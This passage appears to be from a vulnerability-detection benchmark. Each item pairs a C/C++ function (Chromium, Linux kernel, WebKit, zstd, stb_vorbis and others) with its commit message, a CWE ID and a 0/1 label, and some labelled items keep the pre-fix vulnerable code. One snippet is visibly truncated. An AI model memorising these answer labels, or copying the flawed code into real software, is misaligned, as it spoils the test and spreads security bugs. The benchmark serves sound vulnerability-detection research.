array->Set(v8::Integer::New(isolate, i++), v8::Integer::New(isolate, *it));
}
args.GetReturnValue().Set(array);
}
Commit Message: Ignore filtered event if an event matcher cannot be added.
BUG=625404
Review-Url: https://codereview.chromium.org/2236133002
Cr-Commit-Position: refs/heads/master@{#411472}
CWE ID: CWE-416 | 0 | 130,230 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int perf_event_read(struct perf_event *event, bool group)
{
int ret = 0, cpu_to_read, local_cpu;
/*
* If event is enabled and currently active on a CPU, update the
* value in the event structure:
*/
if (event->state == PERF_EVENT_STATE_ACTIVE) {
struct perf_read_data data = {
.event = event,
.group = group,
.ret = 0,
};
local_cpu = get_cpu();
cpu_to_read = find_cpu_to_read(event, local_cpu);
put_cpu();
/*
* Purposely ignore the smp_call_function_single() return
* value.
*
* If event->oncpu isn't a valid CPU it means the event got
* scheduled out and that will have updated the event count.
*
* Therefore, either way, we'll have an up-to-date event count
* after this.
*/
(void)smp_call_function_single(cpu_to_read, __perf_event_read, &data, 1);
ret = data.ret;
} else if (event->state == PERF_EVENT_STATE_INACTIVE) {
struct perf_event_context *ctx = event->ctx;
unsigned long flags;
raw_spin_lock_irqsave(&ctx->lock, flags);
/*
* may read while context is not active
* (e.g., thread is blocked), in that case
* we cannot update context time
*/
if (ctx->is_active) {
update_context_time(ctx);
update_cgrp_time_from_event(event);
}
if (group)
update_group_times(event);
else
update_event_times(event);
raw_spin_unlock_irqrestore(&ctx->lock, flags);
}
return ret;
}
Commit Message: perf/core: Fix concurrent sys_perf_event_open() vs. 'move_group' race
Di Shen reported a race between two concurrent sys_perf_event_open()
calls where both try and move the same pre-existing software group
into a hardware context.
The problem is exactly that described in commit:
f63a8daa5812 ("perf: Fix event->ctx locking")
... where, while we wait for a ctx->mutex acquisition, the event->ctx
relation can have changed under us.
That very same commit failed to recognise sys_perf_event_context() as an
external access vector to the events and thereby didn't apply the
established locking rules correctly.
So while one sys_perf_event_open() call is stuck waiting on
mutex_lock_double(), the other (which owns said locks) moves the group
about. So by the time the former sys_perf_event_open() acquires the
locks, the context we've acquired is stale (and possibly dead).
Apply the established locking rules as per perf_event_ctx_lock_nested()
to the mutex_lock_double() for the 'move_group' case. This obviously means
we need to validate state after we acquire the locks.
Reported-by: Di Shen (Keen Lab)
Tested-by: John Dias <joaodias@google.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>
Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
Cc: Arnaldo Carvalho de Melo <acme@redhat.com>
Cc: Jiri Olsa <jolsa@redhat.com>
Cc: Kees Cook <keescook@chromium.org>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Min Chong <mchong@google.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Stephane Eranian <eranian@google.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Vince Weaver <vincent.weaver@maine.edu>
Fixes: f63a8daa5812 ("perf: Fix event->ctx locking")
Link: http://lkml.kernel.org/r/20170106131444.GZ3174@twins.programming.kicks-ass.net
Signed-off-by: Ingo Molnar <mingo@kernel.org>
CWE ID: CWE-362 | 0 | 68,375 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: FidoCableHandshakeHandler::FidoCableHandshakeHandler(
FidoCableDevice* cable_device,
base::span<const uint8_t, 8> nonce,
base::span<const uint8_t, 32> session_pre_key)
: cable_device_(cable_device),
nonce_(fido_parsing_utils::Materialize(nonce)),
session_pre_key_(fido_parsing_utils::Materialize(session_pre_key)),
handshake_key_(GenerateKey(
fido_parsing_utils::ConvertToStringPiece(session_pre_key_),
fido_parsing_utils::ConvertToStringPiece(nonce_),
kCableHandshakeKeyInfo)),
weak_factory_(this) {
crypto::RandBytes(client_session_random_.data(),
client_session_random_.size());
}
Commit Message: [base] Make dynamic container to static span conversion explicit
This change disallows implicit conversions from dynamic containers to
static spans. This conversion can cause CHECK failures, and thus should
be done carefully. Requiring explicit construction makes it more obvious
when this happens. To aid usability, appropriate base::make_span<size_t>
overloads are added.
Bug: 877931
Change-Id: Id9f526bc57bfd30a52d14df827b0445ca087381d
Reviewed-on: https://chromium-review.googlesource.com/1189985
Reviewed-by: Ryan Sleevi <rsleevi@chromium.org>
Reviewed-by: Balazs Engedy <engedy@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Commit-Queue: Jan Wilken Dörrie <jdoerrie@chromium.org>
Cr-Commit-Position: refs/heads/master@{#586657}
CWE ID: CWE-22 | 0 | 132,874 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void HTMLMediaElement::removeTextTrack(WebInbandTextTrack* webTrack) {
if (!m_textTracks)
return;
InbandTextTrack* textTrack = toInbandTextTrack(webTrack->client());
if (!textTrack)
return;
m_textTracks->remove(textTrack);
}
Commit Message: [Blink>Media] Allow autoplay muted on Android by default
There was a mistake causing autoplay muted is shipped on Android
but it will be disabled if the chromium embedder doesn't specify
content setting for "AllowAutoplay" preference. This CL makes the
AllowAutoplay preference true by default so that it is allowed by
embedders (including AndroidWebView) unless they explicitly
disable it.
Intent to ship:
https://groups.google.com/a/chromium.org/d/msg/blink-dev/Q1cnzNI2GpI/AL_eyUNABgAJ
BUG=689018
Review-Url: https://codereview.chromium.org/2677173002
Cr-Commit-Position: refs/heads/master@{#448423}
CWE ID: CWE-119 | 0 | 128,879 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: EmulationHandler::~EmulationHandler() {
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20 | 0 | 148,452 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static JSValueRef beginDragWithFilesCallback(JSContextRef context, JSObjectRef function, JSObjectRef thisObject, size_t argumentCount, const JSValueRef arguments[], JSValueRef* exception)
{
notImplemented();
return JSValueMakeUndefined(context);
}
Commit Message: [BlackBerry] Adapt to new BlackBerry::Platform::TouchPoint API
https://bugs.webkit.org/show_bug.cgi?id=105143
RIM PR 171941
Reviewed by Rob Buis.
Internally reviewed by George Staikos.
Source/WebCore:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit.
Also adapt to new method names and encapsulation of TouchPoint data
members.
No change in behavior, no new tests.
* platform/blackberry/PlatformTouchPointBlackBerry.cpp:
(WebCore::PlatformTouchPoint::PlatformTouchPoint):
Source/WebKit/blackberry:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit. One exception
is when passing events to a full screen plugin.
Also adapt to new method names and encapsulation of TouchPoint data
members.
* Api/WebPage.cpp:
(BlackBerry::WebKit::WebPage::touchEvent):
(BlackBerry::WebKit::WebPage::touchPointAsMouseEvent):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchEventToFullScreenPlugin):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchPointAsMouseEventToFullScreenPlugin):
* WebKitSupport/InputHandler.cpp:
(BlackBerry::WebKit::InputHandler::shouldRequestSpellCheckingOptionsForPoint):
* WebKitSupport/InputHandler.h:
(InputHandler):
* WebKitSupport/TouchEventHandler.cpp:
(BlackBerry::WebKit::TouchEventHandler::doFatFingers):
(BlackBerry::WebKit::TouchEventHandler::handleTouchPoint):
* WebKitSupport/TouchEventHandler.h:
(TouchEventHandler):
Tools:
Adapt to new method names and encapsulation of TouchPoint data members.
* DumpRenderTree/blackberry/EventSender.cpp:
(addTouchPointCallback):
(updateTouchPointCallback):
(touchEndCallback):
(releaseTouchPointCallback):
(sendTouchEvent):
git-svn-id: svn://svn.chromium.org/blink/trunk@137880 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 104,595 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: IDNSpoofChecker::IDNSpoofChecker() {
UErrorCode status = U_ZERO_ERROR;
checker_ = uspoof_open(&status);
if (U_FAILURE(status)) {
checker_ = nullptr;
return;
}
uspoof_setRestrictionLevel(checker_, USPOOF_HIGHLY_RESTRICTIVE);
SetAllowedUnicodeSet(&status);
int32_t checks = uspoof_getChecks(checker_, &status) | USPOOF_AUX_INFO;
uspoof_setChecks(checker_, checks, &status);
deviation_characters_ = icu::UnicodeSet(
UNICODE_STRING_SIMPLE("[\\u00df\\u03c2\\u200c\\u200d]"), status);
deviation_characters_.freeze();
non_ascii_latin_letters_ =
icu::UnicodeSet(UNICODE_STRING_SIMPLE("[[:Latin:] - [a-zA-Z]]"), status);
non_ascii_latin_letters_.freeze();
kana_letters_exceptions_ = icu::UnicodeSet(
UNICODE_STRING_SIMPLE("[\\u3078-\\u307a\\u30d8-\\u30da\\u30fb-\\u30fe]"),
status);
kana_letters_exceptions_.freeze();
combining_diacritics_exceptions_ =
icu::UnicodeSet(UNICODE_STRING_SIMPLE("[\\u0300-\\u0339]"), status);
combining_diacritics_exceptions_.freeze();
cyrillic_letters_latin_alike_ = icu::UnicodeSet(
icu::UnicodeString::fromUTF8("[асԁеһіјӏорԛѕԝхуъЬҽпгѵѡ]"), status);
cyrillic_letters_latin_alike_.freeze();
cyrillic_letters_ =
icu::UnicodeSet(UNICODE_STRING_SIMPLE("[[:Cyrl:]]"), status);
cyrillic_letters_.freeze();
DCHECK(U_SUCCESS(status));
lgc_letters_n_ascii_ = icu::UnicodeSet(
UNICODE_STRING_SIMPLE("[[:Latin:][:Greek:][:Cyrillic:][0-9\\u002e_"
"\\u002d][\\u0300-\\u0339]]"),
status);
lgc_letters_n_ascii_.freeze();
UParseError parse_error;
diacritic_remover_.reset(icu::Transliterator::createFromRules(
UNICODE_STRING_SIMPLE("DropAcc"),
icu::UnicodeString::fromUTF8("::NFD; ::[:Nonspacing Mark:] Remove; ::NFC;"
" ł > l; ø > o; đ > d;"),
UTRANS_FORWARD, parse_error, status));
UNICODE_STRING_SIMPLE("ExtraConf"),
icu::UnicodeString::fromUTF8("[þϼҏ] > p; [ħнћңҥӈԧԩ] > h;"
"[ĸκкқҝҟҡӄԟ] > k; [ŧтҭ] > t;"
"[ƅьҍв] > b; [ωшщ] > w; [мӎ] > m;"
"п > n; ћ > h; ґ > r; ғ > f; ҫ > c;"
"ұ > y; [χҳӽӿ] > x; [ҽҿ] > e;"
#if defined(OS_WIN)
"ӏ > i;"
#else
"ӏ > l;"
#endif
"ԃ > d; ԍ > g; ട > s"),
UTRANS_FORWARD, parse_error, status));
DCHECK(U_SUCCESS(status))
<< "Spoofchecker initalization failed due to an error: "
<< u_errorName(status);
}
Commit Message: Map U+0454 (є) to 'e' (small E)
Bug: 803571
Test: components_unittests --gtest_filter=*IDN*
Change-Id: I8cc473d0e74208076a2aa17c1869d14bbfaa20ed
Reviewed-on: https://chromium-review.googlesource.com/882006
Commit-Queue: Jungshik Shin <jshin@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531739}
CWE ID: | 1 | 172,737 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void ctypeof(JF, js_Ast *exp)
{
if (exp->type == EXP_IDENTIFIER)
emitlocal(J, F, OP_GETLOCAL, OP_HASVAR, exp);
else
cexp(J, F, exp);
emit(J, F, OP_TYPEOF);
}
Commit Message:
CWE ID: CWE-476 | 0 | 7,920 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: vrrp_tfile_file_handler(vector_t *strvec)
{
vrrp_tracked_file_t *tfile = LIST_TAIL_DATA(vrrp_data->vrrp_track_files);
if (tfile->file_path) {
report_config_error(CONFIG_GENERAL_ERROR, "File already set for track file %s - ignoring %s", tfile->fname, FMT_STR_VSLOT(strvec, 1));
return;
}
tfile->file_path = set_value(strvec);
}
Commit Message: When opening files for write, ensure they aren't symbolic links
Issue #1048 identified that if, for example, a non privileged user
created a symbolic link from /etc/keepalvied.data to /etc/passwd,
writing to /etc/keepalived.data (which could be invoked via DBus)
would cause /etc/passwd to be overwritten.
This commit stops keepalived writing to pathnames where the ultimate
component is a symbolic link, by setting O_NOFOLLOW whenever opening
a file for writing.
This might break some setups, where, for example, /etc/keepalived.data
was a symbolic link to /home/fred/keepalived.data. If this was the case,
instead create a symbolic link from /home/fred/keepalived.data to
/tmp/keepalived.data, so that the file is still accessible via
/home/fred/keepalived.data.
There doesn't appear to be a way around this backward incompatibility,
since even checking if the pathname is a symbolic link prior to opening
for writing would create a race condition.
Signed-off-by: Quentin Armitage <quentin@armitage.org.uk>
CWE ID: CWE-59 | 0 | 76,038 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderProcessHostImpl::OnBadMessageReceived(const IPC::Message& message) {
auto type = message.type();
LOG(ERROR) << "bad message " << type << " terminating renderer.";
base::debug::Alias(&type);
bad_message::ReceivedBadMessage(this,
bad_message::RPH_DESERIALIZATION_FAILED);
}
Commit Message: Switching AudioOutputAuthorizationHandler from using AudioManager interface to AudioSystem one.
BUG=672468
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Review-Url: https://codereview.chromium.org/2692203003
Cr-Commit-Position: refs/heads/master@{#450939}
CWE ID: | 0 | 128,283 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void UpdateAtlas::didSwapBuffers()
{
m_areaAllocator.clear();
buildLayoutIfNeeded();
}
Commit Message: [WK2] LayerTreeCoordinator should release unused UpdatedAtlases
https://bugs.webkit.org/show_bug.cgi?id=95072
Reviewed by Jocelyn Turcotte.
Release graphic buffers that haven't been used for a while in order to save memory.
This way we can give back memory to the system when no user interaction happens
after a period of time, for example when we are in the background.
* Shared/ShareableBitmap.h:
* WebProcess/WebPage/CoordinatedGraphics/LayerTreeCoordinator.cpp:
(WebKit::LayerTreeCoordinator::LayerTreeCoordinator):
(WebKit::LayerTreeCoordinator::beginContentUpdate):
(WebKit):
(WebKit::LayerTreeCoordinator::scheduleReleaseInactiveAtlases):
(WebKit::LayerTreeCoordinator::releaseInactiveAtlasesTimerFired):
* WebProcess/WebPage/CoordinatedGraphics/LayerTreeCoordinator.h:
(LayerTreeCoordinator):
* WebProcess/WebPage/UpdateAtlas.cpp:
(WebKit::UpdateAtlas::UpdateAtlas):
(WebKit::UpdateAtlas::didSwapBuffers):
Don't call buildLayoutIfNeeded here. It's enought to call it in beginPaintingOnAvailableBuffer
and this way we can track whether this atlas is used with m_areaAllocator.
(WebKit::UpdateAtlas::beginPaintingOnAvailableBuffer):
* WebProcess/WebPage/UpdateAtlas.h:
(WebKit::UpdateAtlas::addTimeInactive):
(WebKit::UpdateAtlas::isInactive):
(WebKit::UpdateAtlas::isInUse):
(UpdateAtlas):
git-svn-id: svn://svn.chromium.org/blink/trunk@128473 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 1 | 170,272 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static U32 ZSTD_equivalentParams(ZSTD_CCtx_params params1,
ZSTD_CCtx_params params2,
size_t buffSize1,
size_t maxNbSeq1, size_t maxNbLit1,
ZSTD_buffered_policy_e buffPol2,
U64 pledgedSrcSize)
{
DEBUGLOG(4, "ZSTD_equivalentParams: pledgedSrcSize=%u", (U32)pledgedSrcSize);
if (!ZSTD_equivalentCParams(params1.cParams, params2.cParams)) {
DEBUGLOG(4, "ZSTD_equivalentCParams() == 0");
return 0;
}
if (!ZSTD_equivalentLdmParams(params1.ldmParams, params2.ldmParams)) {
DEBUGLOG(4, "ZSTD_equivalentLdmParams() == 0");
return 0;
}
if (!ZSTD_sufficientBuff(buffSize1, maxNbSeq1, maxNbLit1, buffPol2,
params2.cParams, pledgedSrcSize)) {
DEBUGLOG(4, "ZSTD_sufficientBuff() == 0");
return 0;
}
return 1;
}
Commit Message: fixed T36302429
CWE ID: CWE-362 | 0 | 90,056 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool DelegatedFrameHost::TransformPointToCoordSpaceForView(
const gfx::Point& point,
RenderWidgetHostViewBase* target_view,
gfx::Point* transformed_point) {
if (!has_frame_)
return false;
return target_view->TransformPointToLocalCoordSpace(
point, viz::SurfaceId(frame_sink_id_, local_surface_id_),
transformed_point);
}
Commit Message: mac: Make RWHVMac::ClearCompositorFrame clear locks
Ensure that the BrowserCompositorMac not hold on to a compositor lock
when requested to clear its compositor frame. This lock may be held
indefinitely (if the renderer hangs) and so the frame will never be
cleared.
Bug: 739621
Change-Id: I15d0e82bdf632f3379a48e959f198afb8a4ac218
Reviewed-on: https://chromium-review.googlesource.com/608239
Commit-Queue: ccameron chromium <ccameron@chromium.org>
Reviewed-by: Ken Buchanan <kenrb@chromium.org>
Cr-Commit-Position: refs/heads/master@{#493563}
CWE ID: CWE-20 | 0 | 150,980 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool GetFileInfo(const FilePath& file_path, base::PlatformFileInfo* results) {
stat_wrapper_t file_info;
if (CallStat(file_path.value().c_str(), &file_info) != 0)
return false;
results->is_directory = S_ISDIR(file_info.st_mode);
results->size = file_info.st_size;
results->last_modified = base::Time::FromTimeT(file_info.st_mtime);
results->last_accessed = base::Time::FromTimeT(file_info.st_atime);
results->creation_time = base::Time::FromTimeT(file_info.st_ctime);
return true;
}
Commit Message: Fix creating target paths in file_util_posix CopyDirectory.
BUG=167840
Review URL: https://chromiumcodereview.appspot.com/11773018
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176659 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-22 | 0 | 115,391 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: const char *OBJ_nid2sn(int n)
{
ADDED_OBJ ad,*adp;
ASN1_OBJECT ob;
if ((n >= 0) && (n < NUM_NID))
{
if ((n != NID_undef) && (nid_objs[n].nid == NID_undef))
{
OBJerr(OBJ_F_OBJ_NID2SN,OBJ_R_UNKNOWN_NID);
return(NULL);
}
return(nid_objs[n].sn);
}
else if (added == NULL)
return(NULL);
else
{
ad.type=ADDED_NID;
ad.obj= &ob;
ob.nid=n;
adp=lh_ADDED_OBJ_retrieve(added,&ad);
if (adp != NULL)
return(adp->obj->sn);
else
{
OBJerr(OBJ_F_OBJ_NID2SN,OBJ_R_UNKNOWN_NID);
return(NULL);
}
}
}
Commit Message:
CWE ID: CWE-200 | 0 | 12,473 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void php_gd_error(const char *format, ...)
{
va_list args;
TSRMLS_FETCH();
va_start(args, format);
php_verror(NULL, "", E_WARNING, format, args TSRMLS_CC);
va_end(args);
}
Commit Message: iFixed bug #72446 - Integer Overflow in gdImagePaletteToTrueColor() resulting in heap overflow
CWE ID: CWE-190 | 0 | 51,464 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: version(void)
{
fprintf(stdout,"bsdcpio %s -- %s\n",
BSDCPIO_VERSION_STRING,
archive_version_details());
exit(0);
}
Commit Message: Add ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS option
This fixes a directory traversal in the cpio tool.
CWE ID: CWE-22 | 0 | 43,885 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static Widget* widgetForElement(const Element& focusedElement)
{
LayoutObject* layoutObject = focusedElement.layoutObject();
if (!layoutObject || !layoutObject->isLayoutPart())
return 0;
return toLayoutPart(layoutObject)->widget();
}
Commit Message: Change Document::detach() to RELEASE_ASSERT all subframes are gone.
BUG=556724,577105
Review URL: https://codereview.chromium.org/1667573002
Cr-Commit-Position: refs/heads/master@{#373642}
CWE ID: CWE-264 | 0 | 124,574 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void FragmentPaintPropertyTreeBuilder::UpdateSvgLocalToBorderBoxTransform() {
DCHECK(properties_);
if (!object_.IsSVGRoot())
return;
if (NeedsPaintPropertyUpdate()) {
AffineTransform transform_to_border_box =
SVGRootPainter(ToLayoutSVGRoot(object_))
.TransformToPixelSnappedBorderBox(context_.current.paint_offset);
if (!transform_to_border_box.IsIdentity() &&
NeedsSVGLocalToBorderBoxTransform(object_)) {
OnUpdate(properties_->UpdateSvgLocalToBorderBoxTransform(
context_.current.transform,
TransformPaintPropertyNode::State{transform_to_border_box}));
} else {
OnClear(properties_->ClearSvgLocalToBorderBoxTransform());
}
}
if (properties_->SvgLocalToBorderBoxTransform()) {
context_.current.transform = properties_->SvgLocalToBorderBoxTransform();
context_.current.should_flatten_inherited_transform = false;
context_.current.rendering_context_id = 0;
}
context_.current.paint_offset = LayoutPoint();
}
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <trchen@chromium.org>
> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
> Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#554653}
TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#563930}
CWE ID: | 1 | 171,805 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int get_aligned_image_size(struct spl_load_info *info, int data_size,
int offset)
{
data_size = data_size + get_aligned_image_overhead(info, offset);
if (info->filename)
return data_size;
return (data_size + info->bl_len - 1) / info->bl_len;
}
Commit Message: Merge branch '2020-01-22-master-imports'
- Re-add U8500 platform support
- Add bcm968360bg support
- Assorted Keymile fixes
- Other assorted bugfixes
CWE ID: CWE-787 | 0 | 89,365 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void qib_clean_part_key(struct qib_ctxtdata *rcd,
struct qib_devdata *dd)
{
int i, j, pchanged = 0;
u64 oldpkey;
struct qib_pportdata *ppd = rcd->ppd;
/* for debugging only */
oldpkey = (u64) ppd->pkeys[0] |
((u64) ppd->pkeys[1] << 16) |
((u64) ppd->pkeys[2] << 32) |
((u64) ppd->pkeys[3] << 48);
for (i = 0; i < ARRAY_SIZE(rcd->pkeys); i++) {
if (!rcd->pkeys[i])
continue;
for (j = 0; j < ARRAY_SIZE(ppd->pkeys); j++) {
/* check for match independent of the global bit */
if ((ppd->pkeys[j] & 0x7fff) !=
(rcd->pkeys[i] & 0x7fff))
continue;
if (atomic_dec_and_test(&ppd->pkeyrefs[j])) {
ppd->pkeys[j] = 0;
pchanged++;
}
break;
}
rcd->pkeys[i] = 0;
}
if (pchanged)
(void) ppd->dd->f_set_ib_cfg(ppd, QIB_IB_CFG_PKEYS, 0);
}
Commit Message: IB/security: Restrict use of the write() interface
The drivers/infiniband stack uses write() as a replacement for
bi-directional ioctl(). This is not safe. There are ways to
trigger write calls that result in the return structure that
is normally written to user space being shunted off to user
specified kernel memory instead.
For the immediate repair, detect and deny suspicious accesses to
the write API.
For long term, update the user space libraries and the kernel API
to something that doesn't present the same security vulnerabilities
(likely a structured ioctl() interface).
The impacted uAPI interfaces are generally only available if
hardware from drivers/infiniband is installed in the system.
Reported-by: Jann Horn <jann@thejh.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
[ Expanded check to all known write() entry points ]
Cc: stable@vger.kernel.org
Signed-off-by: Doug Ledford <dledford@redhat.com>
CWE ID: CWE-264 | 0 | 52,928 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PreconnectStats::PreconnectStats(const GURL& url)
: url(url), start_time(base::TimeTicks::Now()) {}
Commit Message: Origins should be represented as url::Origin (not as GURL).
As pointed out in //docs/security/origin-vs-url.md, origins should be
represented as url::Origin (not as GURL). This CL applies this
guideline to predictor-related code and changes the type of the
following fields from GURL to url::Origin:
- OriginRequestSummary::origin
- PreconnectedRequestStats::origin
- PreconnectRequest::origin
The old code did not depend on any non-origin parts of GURL
(like path and/or query). Therefore, this CL has no intended
behavior change.
Bug: 973885
Change-Id: Idd14590b4834cb9d50c74ed747b595fe1a4ba357
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1895167
Commit-Queue: Łukasz Anforowicz <lukasza@chromium.org>
Reviewed-by: Alex Ilin <alexilin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#716311}
CWE ID: CWE-125 | 0 | 136,923 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int vorbis_finish_frame(stb_vorbis *f, int len, int left, int right)
{
int prev,i,j;
if (f->previous_length) {
int i,j, n = f->previous_length;
float *w = get_window(f, n);
for (i=0; i < f->channels; ++i) {
for (j=0; j < n; ++j)
f->channel_buffers[i][left+j] =
f->channel_buffers[i][left+j]*w[ j] +
f->previous_window[i][ j]*w[n-1-j];
}
}
prev = f->previous_length;
f->previous_length = len - right;
for (i=0; i < f->channels; ++i)
for (j=0; right+j < len; ++j)
f->previous_window[i][j] = f->channel_buffers[i][right+j];
if (!prev)
return 0;
if (len < right) right = len;
f->samples_output += right-left;
return right - left;
}
Commit Message: Fix seven bugs discovered and fixed by ForAllSecure:
CVE-2019-13217: heap buffer overflow in start_decoder()
CVE-2019-13218: stack buffer overflow in compute_codewords()
CVE-2019-13219: uninitialized memory in vorbis_decode_packet_rest()
CVE-2019-13220: out-of-range read in draw_line()
CVE-2019-13221: issue with large 1D codebooks in lookup1_values()
CVE-2019-13222: unchecked NULL returned by get_window()
CVE-2019-13223: division by zero in predict_point()
CWE ID: CWE-20 | 1 | 169,618 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int ext4_run_li_request(struct ext4_li_request *elr)
{
struct ext4_group_desc *gdp = NULL;
ext4_group_t group, ngroups;
struct super_block *sb;
unsigned long timeout = 0;
int ret = 0;
sb = elr->lr_super;
ngroups = EXT4_SB(sb)->s_groups_count;
for (group = elr->lr_next_group; group < ngroups; group++) {
gdp = ext4_get_group_desc(sb, group, NULL);
if (!gdp) {
ret = 1;
break;
}
if (!(gdp->bg_flags & cpu_to_le16(EXT4_BG_INODE_ZEROED)))
break;
}
if (group == ngroups)
ret = 1;
if (!ret) {
timeout = jiffies;
ret = ext4_init_inode_table(sb, group,
elr->lr_timeout ? 0 : 1);
if (elr->lr_timeout == 0) {
